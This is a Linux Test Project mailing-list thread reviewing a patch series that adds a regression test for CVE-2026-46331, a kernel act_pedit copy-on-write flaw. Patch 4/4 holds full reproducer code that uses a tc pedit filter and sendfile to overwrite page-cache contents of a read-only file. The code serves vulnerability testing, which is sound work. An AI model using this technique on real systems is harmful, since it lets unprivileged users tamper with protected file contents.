* [LTP] [PATCH v3 0/4] Reproducer for cve-2026-46331
@ 2026-07-07 13:42 Andrea Cervesato
2026-07-07 13:42 ` [LTP] [PATCH v3 1/4] lapi: Add pkt_cls.h fallback Andrea Cervesato
` (3 more replies)
0 siblings, 4 replies; 12+ messages in thread
From: Andrea Cervesato @ 2026-07-07 13:42 UTC (permalink / raw)
To: Linux Test Project
tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.1.0-rc5-virtme/build/.config'
tst_tmpdir.c:308: TINFO: Using /tmp/LTP_cveTzmFu2 as tmpdir (overlayfs filesystem)
tst_test.c:2047: TINFO: LTP version: 20260529-80-g0b891ea23
tst_test.c:2050: TINFO: Tested kernel: 7.1.0-rc5-virtme #9 SMP PREEMPT_DYNAMIC Mon Jul 6 14:50:05 CEST 2026 x86_64
tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.1.0-rc5-virtme/build/.config'
tst_test.c:1875: TINFO: Overall timeout per run is 0h 00m 30s
cve-2026-46331.c:221: TFAIL: Page cache corrupted via act_pedit partial COW bypass
HINT: You _MAY_ be missing kernel fixes:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=899ee91156e5
HINT: You _MAY_ be vulnerable to CVE(s):
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46331
Summary:
passed 0
failed 1
broken 0
skipped 0
warnings 0
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Changes in v3:
- fix build failure in opensuse 42.2
- Link to v2: https://lore.kernel.org/20260706-cve-2026-46331-v2-0-d5e47a113a84@suse.com
Changes in v2:
- remove sleep()
- Link to v1: https://lore.kernel.org/20260706-cve-2026-46331-v1-0-c55d45f022d1@suse.com
---
Andrea Cervesato (4):
lapi: Add pkt_cls.h fallback
lapi: Add pkt_sched.h fallback
lapi: Add tc_pedit.h fallback
cve: Add act_pedit page-cache corruption test
configure.ac | 2 +
include/lapi/pkt_cls.h | 19 +++
include/lapi/pkt_sched.h | 19 +++
include/lapi/tc_pedit.h | 52 ++++++++
runtest/cve | 1 +
testcases/cve/.gitignore | 1 +
testcases/cve/cve-2026-46331.c | 272 +++++++++++++++++++++++++++++++++++++++++
7 files changed, 366 insertions(+)
---
base-commit: 0b891ea23ed7315afa12df92fe12f1218a420bde
change-id: 20260706-cve-2026-46331-434f99cf2c61
Best regards,
--
Andrea Cervesato <andrea.cervesato@suse.com>
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 12+ messages in thread* [LTP] [PATCH v3 1/4] lapi: Add pkt_cls.h fallback 2026-07-07 13:42 [LTP] [PATCH v3 0/4] Reproducer for cve-2026-46331 Andrea Cervesato @ 2026-07-07 13:42 ` Andrea Cervesato 2026-07-07 14:28 ` [LTP] " linuxtestproject.agent 2026-07-08 11:48 ` [LTP] [PATCH v3 1/4] " Petr Vorel 2026-07-07 13:42 ` [LTP] [PATCH v3 2/4] lapi: Add pkt_sched.h fallback Andrea Cervesato ` (2 subsequent siblings) 3 siblings, 2 replies; 12+ messages in thread From: Andrea Cervesato @ 2026-07-07 13:42 UTC (permalink / raw) To: Linux Test Project From: Andrea Cervesato <andrea.cervesato@suse.com> Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com> --- include/lapi/pkt_cls.h | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/include/lapi/pkt_cls.h b/include/lapi/pkt_cls.h new file mode 100644 index 0000000000000000000000000000000000000000..b7a6278f07e6fcedcb7c412e833cb01170f24f74 --- /dev/null +++ b/include/lapi/pkt_cls.h @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com> + */ + +#ifndef LAPI_PKT_CLS_H__ +#define LAPI_PKT_CLS_H__ + +#include <linux/pkt_cls.h> + +#ifndef TC_ACT_PIPE +# define TC_ACT_PIPE 3 +#endif + +#ifndef TCA_MATCHALL_ACT +# define TCA_MATCHALL_ACT 2 +#endif + +#endif /* LAPI_PKT_CLS_H__ */ -- 2.51.0 -- Mailing list info: https://lists.linux.it/listinfo/ltp ^ permalink raw reply related [flat|nested] 12+ messages in thread
* Re: [LTP] lapi: Add pkt_cls.h fallback 2026-07-07 13:42 ` [LTP] [PATCH v3 1/4] lapi: Add pkt_cls.h fallback Andrea Cervesato @ 2026-07-07 14:28 ` linuxtestproject.agent 2026-07-07 14:53 ` Cyril Hrubis 2026-07-08 11:48 ` [LTP] [PATCH v3 1/4] " Petr Vorel 1 sibling, 1 reply; 12+ messages in thread From: linuxtestproject.agent @ 2026-07-07 14:28 UTC (permalink / raw) To: Andrea Cervesato; +Cc: ltp Hi Andrea, On Tue, 7 Jul 2026 15:42:27 +0200, Andrea Cervesato wrote: > lapi: Add pkt_cls.h fallback --- [PATCH 3/4] --- > +#ifndef TCA_PEDIT_KEY_EX > +# define TCA_PEDIT_KEY_EX 3 > +#endif The value is wrong. Counting from TCA_PEDIT_UNSPEC = 0 in the kernel anonymous enum: TCA_PEDIT_UNSPEC = 0 TCA_PEDIT_TM = 1 TCA_PEDIT_PARMS = 2 TCA_PEDIT_PAD = 3 <-- 3 is PAD, not KEY_EX TCA_PEDIT_PARMS_EX = 4 TCA_PEDIT_KEYS_EX = 5 TCA_PEDIT_KEY_EX = 6 <-- should be 6 With value 3 the kernel would receive a TCA_PEDIT_PAD attribute where TCA_PEDIT_KEY_EX is expected and reject the filter with "Unknown attribute, expected extended key". This also breaks the test in patch 4/4 which uses TCA_PEDIT_KEY_EX as a netlink attribute type. > +#ifndef TCA_PEDIT_PARMS_EX > +# define TCA_PEDIT_PARMS_EX 4 > +#endif > + > +#ifndef TCA_PEDIT_KEYS_EX > +# define TCA_PEDIT_KEYS_EX 5 > +#endif > + > +#ifndef TCA_PEDIT_KEY_EX > +# define TCA_PEDIT_KEY_EX 3 > +#endif > + > +#ifndef TCA_PEDIT_KEY_EX_HTYPE > +# define TCA_PEDIT_KEY_EX_HTYPE 1 > +#endif > + > +#ifndef TCA_PEDIT_KEY_EX_CMD > +# define TCA_PEDIT_KEY_EX_CMD 2 > +#endif All five of these are anonymous enum values in the kernel header, not preprocessor macros. A #ifndef guard tests the preprocessor symbol table, which does not include enum constants. So every one of these #define lines executes unconditionally even on systems that already have the full kernel header -- the enum values are silently shadowed by the macros. For the four correctly-valued ones this has no observable impact today, but the guard gives a false sense of safety. For TCA_PEDIT_KEY_EX the wrong value makes the situation permanent on every system. The correct approach for enum-valued constants is to use AC_CHECK_DECLS in configure.ac, the same way this patch already uses AC_CHECK_TYPES for the two enum types: AC_CHECK_DECLS([TCA_PEDIT_PARMS_EX, TCA_PEDIT_KEYS_EX, TCA_PEDIT_KEY_EX, TCA_PEDIT_KEY_EX_HTYPE, TCA_PEDIT_KEY_EX_CMD],,,[ #include <linux/tc_act/tc_pedit.h>]) That generates HAVE_DECL_* macros which can be used as guards around the fallback defines. --- [PATCH 4/4] --- > +cve: Add act_pedit page-cache corruption test The fix commit 899ee91156e5 does not exist in torvalds/linux, and the field `tcfp_off_max_hint` mentioned in the commit body is absent from the kernel source. The fix has not been merged to mainline and is therefore not in any released kernel, including 7.2. Per the staging rule, a test for an unreleased fix must: - carry a [STAGING] subject prefix, and - be listed in runtest/staging, not runtest/cve. > + .tags = (const struct tst_tag[]) { > + {"linux-git", "899ee91156e5"}, The SHA 899ee91156e5 cannot be resolved in torvalds/linux. Update this to the correct SHA once the fix is merged. Verdict - Needs revision --- Note: The agent can sometimes produce false positives although often its findings are genuine. If you find issues with the review, please comment this email or ignore the suggestions. Regards, LTP AI Reviewer -- Mailing list info: https://lists.linux.it/listinfo/ltp ^ permalink raw reply [flat|nested] 12+ messages in thread
* Re: [LTP] lapi: Add pkt_cls.h fallback 2026-07-07 14:28 ` [LTP] " linuxtestproject.agent @ 2026-07-07 14:53 ` Cyril Hrubis 0 siblings, 0 replies; 12+ messages in thread From: Cyril Hrubis @ 2026-07-07 14:53 UTC (permalink / raw) To: linuxtestproject.agent; +Cc: ltp Hi! > TCA_PEDIT_UNSPEC = 0 > TCA_PEDIT_TM = 1 > TCA_PEDIT_PARMS = 2 > TCA_PEDIT_PAD = 3 <-- 3 is PAD, not KEY_EX > TCA_PEDIT_PARMS_EX = 4 > TCA_PEDIT_KEYS_EX = 5 > TCA_PEDIT_KEY_EX = 6 <-- should be 6 > > With value 3 the kernel would receive a TCA_PEDIT_PAD attribute where > TCA_PEDIT_KEY_EX is expected and reject the filter with "Unknown > attribute, expected extended key". > > This also breaks the test in patch 4/4 which uses TCA_PEDIT_KEY_EX > as a netlink attribute type. > > > +#ifndef TCA_PEDIT_PARMS_EX > > +# define TCA_PEDIT_PARMS_EX 4 > > +#endif > > + > > +#ifndef TCA_PEDIT_KEYS_EX > > +# define TCA_PEDIT_KEYS_EX 5 > > +#endif > > + > > +#ifndef TCA_PEDIT_KEY_EX > > +# define TCA_PEDIT_KEY_EX 3 > > +#endif > > + > > +#ifndef TCA_PEDIT_KEY_EX_HTYPE > > +# define TCA_PEDIT_KEY_EX_HTYPE 1 > > +#endif > > + > > +#ifndef TCA_PEDIT_KEY_EX_CMD > > +# define TCA_PEDIT_KEY_EX_CMD 2 > > +#endif > > All five of these are anonymous enum values in the kernel header, not > preprocessor macros. A #ifndef guard tests the preprocessor symbol > table, which does not include enum constants. So every one of these > #define lines executes unconditionally even on systems that already > have the full kernel header -- the enum values are silently shadowed > by the macros. > > For the four correctly-valued ones this has no observable impact > today, but the guard gives a false sense of safety. For > TCA_PEDIT_KEY_EX the wrong value makes the situation permanent on > every system. > > The correct approach for enum-valued constants is to use > AC_CHECK_DECLS in configure.ac, the same way this patch already uses > AC_CHECK_TYPES for the two enum types: > > AC_CHECK_DECLS([TCA_PEDIT_PARMS_EX, TCA_PEDIT_KEYS_EX, > TCA_PEDIT_KEY_EX, TCA_PEDIT_KEY_EX_HTYPE, > TCA_PEDIT_KEY_EX_CMD],,,[ > #include <linux/tc_act/tc_pedit.h>]) Maybe we can use the TCA_PEDIT_MAX: #if !defined(TCA_PEDI_MAX) || TCA_PEDIT_MAX < 4 # define TCA_PEDIT_PARMS_EX 4 #endif #if !defined(TCA_PEDI_MAX) || TCA_PEDIT_MAX < 5 # define TCA_PEDIT_KEYS_EX 5 #endif And we can use the same pattern with the rest of the enums. -- Cyril Hrubis chrubis@suse.cz -- Mailing list info: https://lists.linux.it/listinfo/ltp ^ permalink raw reply [flat|nested] 12+ messages in thread
* Re: [LTP] [PATCH v3 1/4] lapi: Add pkt_cls.h fallback 2026-07-07 13:42 ` [LTP] [PATCH v3 1/4] lapi: Add pkt_cls.h fallback Andrea Cervesato 2026-07-07 14:28 ` [LTP] " linuxtestproject.agent @ 2026-07-08 11:48 ` Petr Vorel 1 sibling, 0 replies; 12+ messages in thread From: Petr Vorel @ 2026-07-08 11:48 UTC (permalink / raw) To: Andrea Cervesato; +Cc: Linux Test Project Hi Andrea, > +#include <linux/pkt_cls.h> > + > +#ifndef TC_ACT_PIPE > +# define TC_ACT_PIPE 3 > +#endif > + > +#ifndef TCA_MATCHALL_ACT > +# define TCA_MATCHALL_ACT 2 > +#endif include/uapi/linux/pkt_cls.h defines it as enum: enum { TCA_MATCHALL_UNSPEC, TCA_MATCHALL_CLASSID, TCA_MATCHALL_ACT, TCA_MATCHALL_FLAGS, TCA_MATCHALL_PCNT, TCA_MATCHALL_PAD, __TCA_MATCHALL_MAX, }; But it should be safe to define it as you did (there is no reason the value would change because kernel folks add new members at the end). Reviewed-by: Petr Vorel <pvorel@suse.cz> Kind regards, Petr -- Mailing list info: https://lists.linux.it/listinfo/ltp ^ permalink raw reply [flat|nested] 12+ messages in thread
* [LTP] [PATCH v3 2/4] lapi: Add pkt_sched.h fallback 2026-07-07 13:42 [LTP] [PATCH v3 0/4] Reproducer for cve-2026-46331 Andrea Cervesato 2026-07-07 13:42 ` [LTP] [PATCH v3 1/4] lapi: Add pkt_cls.h fallback Andrea Cervesato @ 2026-07-07 13:42 ` Andrea Cervesato 2026-07-08 13:31 ` Petr Vorel 2026-07-07 13:42 ` [LTP] [PATCH v3 3/4] lapi: Add tc_pedit.h fallback Andrea Cervesato 2026-07-07 13:42 ` [LTP] [PATCH v3 4/4] cve: Add act_pedit page-cache corruption test Andrea Cervesato 3 siblings, 1 reply; 12+ messages in thread From: Andrea Cervesato @ 2026-07-07 13:42 UTC (permalink / raw) To: Linux Test Project From: Andrea Cervesato <andrea.cervesato@suse.com> Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com> --- include/lapi/pkt_sched.h | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/include/lapi/pkt_sched.h b/include/lapi/pkt_sched.h new file mode 100644 index 0000000000000000000000000000000000000000..4d7b2860df4a478214385f248995361f6f1cf282 --- /dev/null +++ b/include/lapi/pkt_sched.h @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com> + */ + +#ifndef LAPI_PKT_SCHED_H__ +#define LAPI_PKT_SCHED_H__ + +#include <linux/pkt_sched.h> + +#ifndef TC_H_CLSACT +# define TC_H_CLSACT TC_H_INGRESS +#endif + +#ifndef TC_H_MIN_EGRESS +# define TC_H_MIN_EGRESS 0xFFF3U +#endif + +#endif /* LAPI_PKT_SCHED_H__ */ -- 2.51.0 -- Mailing list info: https://lists.linux.it/listinfo/ltp ^ permalink raw reply related [flat|nested] 12+ messages in thread
* Re: [LTP] [PATCH v3 2/4] lapi: Add pkt_sched.h fallback 2026-07-07 13:42 ` [LTP] [PATCH v3 2/4] lapi: Add pkt_sched.h fallback Andrea Cervesato @ 2026-07-08 13:31 ` Petr Vorel 0 siblings, 0 replies; 12+ messages in thread From: Petr Vorel @ 2026-07-08 13:31 UTC (permalink / raw) To: Andrea Cervesato; +Cc: Linux Test Project Hi Andrea, > +#include <linux/pkt_sched.h> > + > +#ifndef TC_H_CLSACT > +# define TC_H_CLSACT TC_H_INGRESS nit: How about using TC_H_INGRESS directly in the test? It's already defined in the first patch. Anyway, obviously correct. Reviewed-by: Petr Vorel <pvorel@suse.cz> Kind regards, Petr > +#endif > + > +#ifndef TC_H_MIN_EGRESS > +# define TC_H_MIN_EGRESS 0xFFF3U > +#endif > + > +#endif /* LAPI_PKT_SCHED_H__ */ -- Mailing list info: https://lists.linux.it/listinfo/ltp ^ permalink raw reply [flat|nested] 12+ messages in thread
* [LTP] [PATCH v3 3/4] lapi: Add tc_pedit.h fallback 2026-07-07 13:42 [LTP] [PATCH v3 0/4] Reproducer for cve-2026-46331 Andrea Cervesato 2026-07-07 13:42 ` [LTP] [PATCH v3 1/4] lapi: Add pkt_cls.h fallback Andrea Cervesato 2026-07-07 13:42 ` [LTP] [PATCH v3 2/4] lapi: Add pkt_sched.h fallback Andrea Cervesato @ 2026-07-07 13:42 ` Andrea Cervesato 2026-07-07 13:42 ` [LTP] [PATCH v3 4/4] cve: Add act_pedit page-cache corruption test Andrea Cervesato 3 siblings, 0 replies; 12+ messages in thread From: Andrea Cervesato @ 2026-07-07 13:42 UTC (permalink / raw) To: Linux Test Project From: Andrea Cervesato <andrea.cervesato@suse.com> Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com> --- configure.ac | 2 ++ include/lapi/tc_pedit.h | 52 +++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 54 insertions(+) diff --git a/configure.ac b/configure.ac index 3a1283ac3a30d85ca731ca54a281ed0c1d4bc06e..428a0096c5bab983dd78002980ab1c861e222e94 100644 --- a/configure.ac +++ b/configure.ac @@ -190,6 +190,8 @@ AC_CHECK_MEMBERS([struct utsname.domainname],,,[ ]) AC_CHECK_TYPES([enum kcmp_type],,,[#include <linux/kcmp.h>]) +AC_CHECK_TYPES([enum pedit_header_type],,,[#include <linux/tc_act/tc_pedit.h>]) +AC_CHECK_TYPES([enum pedit_cmd],,,[#include <linux/tc_act/tc_pedit.h>]) AC_CHECK_TYPES([struct acct_v3],,,[#include <sys/acct.h>]) AC_CHECK_TYPES([struct af_alg_iv, struct sockaddr_alg],,,[# include <linux/if_alg.h>]) AC_CHECK_TYPES([struct clone_args],,,[#include <sched.h>]) diff --git a/include/lapi/tc_pedit.h b/include/lapi/tc_pedit.h new file mode 100644 index 0000000000000000000000000000000000000000..811ce0cab49357e662c35fff49e8a08346ed82f4 --- /dev/null +++ b/include/lapi/tc_pedit.h @@ -0,0 +1,52 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2026 SUSE LLC <andrea.cervesato@suse.com> + */ + +#ifndef LAPI_TC_PEDIT_H__ +#define LAPI_TC_PEDIT_H__ + +#include "config.h" +#include <linux/tc_act/tc_pedit.h> + +#ifndef TCA_PEDIT_PARMS_EX +# define TCA_PEDIT_PARMS_EX 4 +#endif + +#ifndef TCA_PEDIT_KEYS_EX +# define TCA_PEDIT_KEYS_EX 5 +#endif + +#ifndef TCA_PEDIT_KEY_EX +# define TCA_PEDIT_KEY_EX 3 +#endif + +#ifndef TCA_PEDIT_KEY_EX_HTYPE +# define TCA_PEDIT_KEY_EX_HTYPE 1 +#endif + +#ifndef TCA_PEDIT_KEY_EX_CMD +# define TCA_PEDIT_KEY_EX_CMD 2 +#endif + +#ifndef HAVE_ENUM_PEDIT_HEADER_TYPE +enum pedit_header_type { + TCA_PEDIT_KEY_EX_HDR_TYPE_NETWORK = 0, + TCA_PEDIT_KEY_EX_HDR_TYPE_ETH, + TCA_PEDIT_KEY_EX_HDR_TYPE_IP4, + TCA_PEDIT_KEY_EX_HDR_TYPE_IP6, + TCA_PEDIT_KEY_EX_HDR_TYPE_TCP, + TCA_PEDIT_KEY_EX_HDR_TYPE_UDP, + __PEDIT_HDR_TYPE_MAX, +}; +#endif + +#ifndef HAVE_ENUM_PEDIT_CMD +enum pedit_cmd { + TCA_PEDIT_KEY_EX_CMD_SET = 0, + TCA_PEDIT_KEY_EX_CMD_ADD, + __PEDIT_CMD_MAX, +}; +#endif + +#endif /* LAPI_TC_PEDIT_H__ */ -- 2.51.0 -- Mailing list info: https://lists.linux.it/listinfo/ltp ^ permalink raw reply related [flat|nested] 12+ messages in thread
* [LTP] [PATCH v3 4/4] cve: Add act_pedit page-cache corruption test 2026-07-07 13:42 [LTP] [PATCH v3 0/4] Reproducer for cve-2026-46331 Andrea Cervesato ` (2 preceding siblings ...) 2026-07-07 13:42 ` [LTP] [PATCH v3 3/4] lapi: Add tc_pedit.h fallback Andrea Cervesato @ 2026-07-07 13:42 ` Andrea Cervesato 2026-07-07 14:23 ` Cyril Hrubis 3 siblings, 1 reply; 12+ messages in thread From: Andrea Cervesato @ 2026-07-07 13:42 UTC (permalink / raw) To: Linux Test Project From: Andrea Cervesato <andrea.cervesato@suse.com> Regression test for CVE-2026-46331. The act_pedit action computed a stale COW range, letting a TCP-typed key write past it into page-cache pages placed in the skb by sendfile. Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com> --- runtest/cve | 1 + testcases/cve/.gitignore | 1 + testcases/cve/cve-2026-46331.c | 272 +++++++++++++++++++++++++++++++++++++++++ 3 files changed, 274 insertions(+) diff --git a/runtest/cve b/runtest/cve index cc664bb9302daff9d6c1ce7c79041a8fd4ced840..f51d85552087ea1459e39229cdc22b1031008ea3 100644 --- a/runtest/cve +++ b/runtest/cve @@ -98,3 +98,4 @@ cve-2026-43284 xfrm01 cve-2026-43494 io_uring04 cve-2026-46300 xfrm02 cve-2026-46300-skb-segment xfrm03 +cve-2026-46331 cve-2026-46331 diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore index dc1dad5b0d0d02a3ab57e72516c33ee7949c8431..bc1af0dd2c8086e4f5f78a3b15b91fafbd8f5936 100644 --- a/testcases/cve/.gitignore +++ b/testcases/cve/.gitignore @@ -15,3 +15,4 @@ icmp_rate_limit01 tcindex01 cve-2025-38236 cve-2025-21756 +cve-2026-46331 diff --git a/testcases/cve/cve-2026-46331.c b/testcases/cve/cve-2026-46331.c new file mode 100644 index 0000000000000000000000000000000000000000..9207e99a0df4aac6daa8cdcd7a6dd04418020524 --- /dev/null +++ b/testcases/cve/cve-2026-46331.c @@ -0,0 +1,272 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com> + */ + +/*\ + * Verify that the ``act_pedit`` traffic-control action correctly COW's + * all modified regions of an skb before writing, so that page-cache + * pages referenced via :manpage:`sendfile(2)` are not corrupted. + * + * ``tcf_pedit_act()`` computed the COW range for + * ``skb_ensure_writable()`` once before the key loop using + * ``tcfp_off_max_hint``, but the hint did not account for the runtime + * header offset added by typed keys. An egress pedit rule whose first + * ``NETWORK`` key inflates the IP header length (IHL 15) pushes + * subsequent ``TCP``-typed key writes past the stale COW boundary, + * allowing them to scribble directly into page-cache pages that + * :manpage:`sendfile(2)` placed in the skb. + * + * [Algorithm] + * + * - Create a 4 KiB file with a sequential byte pattern and set its + * permissions to read-only (0444) + * - Reopen the file ``O_RDONLY`` + * - Add a ``clsact`` qdisc on ``lo`` and establish a TCP connection + * on loopback + * - After the handshake, install a ``matchall`` egress filter carrying + * a two-key pedit action: key 0 sets IP IHL to 15 (NETWORK type), + * key 1 writes a 4-byte marker at TCP-relative offset 512 + * - :manpage:`sendfile(2)` the file through the TCP socket so the + * pedit action fires on the page-cache-backed skb + * - Reread the file through the same ``O_RDONLY`` descriptor and + * compare with the original pattern; any difference means the + * page cache was corrupted + */ + +#include <sys/sendfile.h> +#include <linux/rtnetlink.h> + +#include "tst_test.h" +#include "tst_net.h" +#include "tst_netdevice.h" +#include "lapi/if_ether.h" +#include "lapi/pkt_sched.h" +#include "lapi/pkt_cls.h" +#include "lapi/tc_pedit.h" +#include "lapi/sched.h" +#include "lapi/tcp.h" + +#define TESTFILE "pagecache_test" +#define DATA_SIZE 4096 +#define PORT 4445 + +#define NKEYS 2 +#define IHL_VALUE 0x4fu /* IP version 4, IHL 15 (max) */ +#define IHL_MASK 0xffffff00u /* keep TOS / tot_len bytes */ +#define MARKER_OFFSET 512 /* TCP-relative key offset */ +#define MARKER_VALUE 0xccccccccu /* 4-byte marker written by pedit */ + +/* + * Pedit selector buffer: struct tc_pedit_sel followed by NKEYS keys. + * sizeof(struct tc_pedit_sel) does not include the flexible array, so + * the trailing keys[] array provides storage for it. + */ +static struct { + struct tc_pedit_sel sel; + struct tc_pedit_key keys[NKEYS]; +} pedit_sel_buf; + +/* --- Nested attribute lists for the matchall + pedit filter config --- */ + +static uint16_t key0_htype = TCA_PEDIT_KEY_EX_HDR_TYPE_NETWORK; +static uint16_t key0_cmd = TCA_PEDIT_KEY_EX_CMD_SET; +static uint16_t key1_htype = TCA_PEDIT_KEY_EX_HDR_TYPE_TCP; +static uint16_t key1_cmd = TCA_PEDIT_KEY_EX_CMD_SET; + +static const struct tst_netlink_attr_list key0_ex[] = { + {TCA_PEDIT_KEY_EX_HTYPE, &key0_htype, sizeof(key0_htype), NULL}, + {TCA_PEDIT_KEY_EX_CMD, &key0_cmd, sizeof(key0_cmd), NULL}, + {0, NULL, -1, NULL} +}; + +static const struct tst_netlink_attr_list key1_ex[] = { + {TCA_PEDIT_KEY_EX_HTYPE, &key1_htype, sizeof(key1_htype), NULL}, + {TCA_PEDIT_KEY_EX_CMD, &key1_cmd, sizeof(key1_cmd), NULL}, + {0, NULL, -1, NULL} +}; + +static const struct tst_netlink_attr_list keys_ex[] = { + {TCA_PEDIT_KEY_EX, NULL, 0, key0_ex}, + {TCA_PEDIT_KEY_EX, NULL, 0, key1_ex}, + {0, NULL, -1, NULL} +}; + +static const struct tst_netlink_attr_list pedit_opts[] = { + {TCA_PEDIT_PARMS_EX, &pedit_sel_buf, sizeof(pedit_sel_buf), NULL}, + {TCA_PEDIT_KEYS_EX, NULL, 0, keys_ex}, + {0, NULL, -1, NULL} +}; + +static const struct tst_netlink_attr_list action_entry[] = { + {TCA_ACT_KIND, "pedit", sizeof("pedit"), NULL}, + {TCA_ACT_OPTIONS, NULL, 0, pedit_opts}, + {0, NULL, -1, NULL} +}; + +static const struct tst_netlink_attr_list action_list[] = { + {1, NULL, 0, action_entry}, + {0, NULL, -1, NULL} +}; + +static const struct tst_netlink_attr_list matchall_opts[] = { + {TCA_MATCHALL_ACT, NULL, 0, action_list}, + {0, NULL, -1, NULL} +}; + +static const struct tst_netlink_attr_list filter_config[] = { + {TCA_OPTIONS, NULL, 0, matchall_opts}, + {0, NULL, -1, NULL} +}; + +static uint8_t original[DATA_SIZE]; +static int file_fd = -1; +static int listen_fd = -1; +static int cli_fd = -1; +static int acc_fd = -1; + +static void setup(void) +{ + struct sockaddr_in addr; + int i; + + tst_setup_netns(); + NETDEV_SET_STATE("lo", 1); + + listen_fd = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0); + SAFE_SETSOCKOPT_INT(listen_fd, SOL_SOCKET, SO_REUSEADDR, 1); + + memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + addr.sin_port = htons(PORT); + + SAFE_BIND(listen_fd, (struct sockaddr *)&addr, sizeof(addr)); + SAFE_LISTEN(listen_fd, 1); + + for (i = 0; i < DATA_SIZE; i++) + original[i] = (uint8_t)(i & 0xff); + + memset(&pedit_sel_buf, 0, sizeof(pedit_sel_buf)); + pedit_sel_buf.sel.nkeys = NKEYS; + pedit_sel_buf.sel.action = TC_ACT_PIPE; + + /* Key 0: inflate IP IHL to 15 (push TCP header offset to 60) */ + pedit_sel_buf.keys[0].off = 0; + pedit_sel_buf.keys[0].val = IHL_VALUE; + pedit_sel_buf.keys[0].mask = IHL_MASK; + + /* Key 1: write marker via TCP-typed offset (past stale COW) */ + pedit_sel_buf.keys[1].off = MARKER_OFFSET; + pedit_sel_buf.keys[1].val = MARKER_VALUE; + pedit_sel_buf.keys[1].mask = 0; +} + +static void run(void) +{ + struct sockaddr_in addr; + uint8_t readback[DATA_SIZE]; + off_t off = 0; + int wr_fd; + + wr_fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444); + SAFE_WRITE(SAFE_WRITE_ALL, wr_fd, original, DATA_SIZE); + SAFE_CLOSE(wr_fd); + + file_fd = SAFE_OPEN(TESTFILE, O_RDONLY); + + /* + * Clean-slate clsact qdisc so no filter is active during the + * TCP handshake (the IHL-inflating key would corrupt SYN/ACK). + */ + tst_netdev_remove_qdisc(__FILE__, __LINE__, 0, + "lo", AF_UNSPEC, TC_H_CLSACT, + TC_H_MAKE(TC_H_CLSACT, 0), "clsact"); + NETDEV_ADD_QDISC("lo", AF_UNSPEC, TC_H_CLSACT, + TC_H_MAKE(TC_H_CLSACT, 0), "clsact", NULL); + + memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + addr.sin_port = htons(PORT); + + cli_fd = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0); + SAFE_CONNECT(cli_fd, (struct sockaddr *)&addr, sizeof(addr)); + acc_fd = SAFE_ACCEPT(listen_fd, NULL, NULL); + + /* Arm the pedit filter AFTER the handshake completes */ + NETDEV_ADD_TRAFFIC_FILTER("lo", + TC_H_MAKE(TC_H_CLSACT, TC_H_MIN_EGRESS), + 0, ETH_P_ALL, 1, "matchall", + filter_config); + + SAFE_SETSOCKOPT_INT(cli_fd, IPPROTO_TCP, TCP_NODELAY, 1); + + /* + * sendfile places page-cache pages in the skb. With + * TCP_NODELAY the 4 KiB payload fits a single segment whose + * egress path -- including the pedit action -- completes + * synchronously inside dev_queue_xmit on loopback. + */ + if (sendfile(cli_fd, file_fd, &off, DATA_SIZE) < 0) + tst_brk(TBROK | TERRNO, "sendfile() failed"); + + SAFE_CLOSE(cli_fd); + SAFE_CLOSE(acc_fd); + + /* + * Read back through the same O_RDONLY fd that sendfile used. + * sendfile with a non-NULL offset does not change the fd's + * file position, so it is still at 0. Keeping the same fd + * guarantees we hit the same page-cache pages. + */ + SAFE_READ(1, file_fd, readback, sizeof(readback)); + SAFE_CLOSE(file_fd); + + if (memcmp(readback, original, DATA_SIZE) != 0) + tst_res(TFAIL, + "Page cache corrupted via act_pedit partial COW bypass"); + else + tst_res(TPASS, "Page cache was not corrupted"); + + SAFE_UNLINK(TESTFILE); +} + +static void cleanup(void) +{ + if (cli_fd != -1) + SAFE_CLOSE(cli_fd); + + if (acc_fd != -1) + SAFE_CLOSE(acc_fd); + + if (file_fd != -1) + SAFE_CLOSE(file_fd); + + if (listen_fd != -1) + SAFE_CLOSE(listen_fd); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_tmpdir = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS=y", + "CONFIG_NET_NS=y", + "CONFIG_NET_SCH_INGRESS", + "CONFIG_NET_CLS_MATCHALL", + "CONFIG_NET_ACT_PEDIT", + NULL + }, + .save_restore = (const struct tst_path_val[]) { + {PATH_USER_MAX_USER_NAMESPACES, "1024", TST_SR_SKIP}, + {} + }, + .tags = (const struct tst_tag[]) { + {"linux-git", "899ee91156e5"}, + {"CVE", "2026-46331"}, + {} + }, +}; -- 2.51.0 -- Mailing list info: https://lists.linux.it/listinfo/ltp ^ permalink raw reply related [flat|nested] 12+ messages in thread
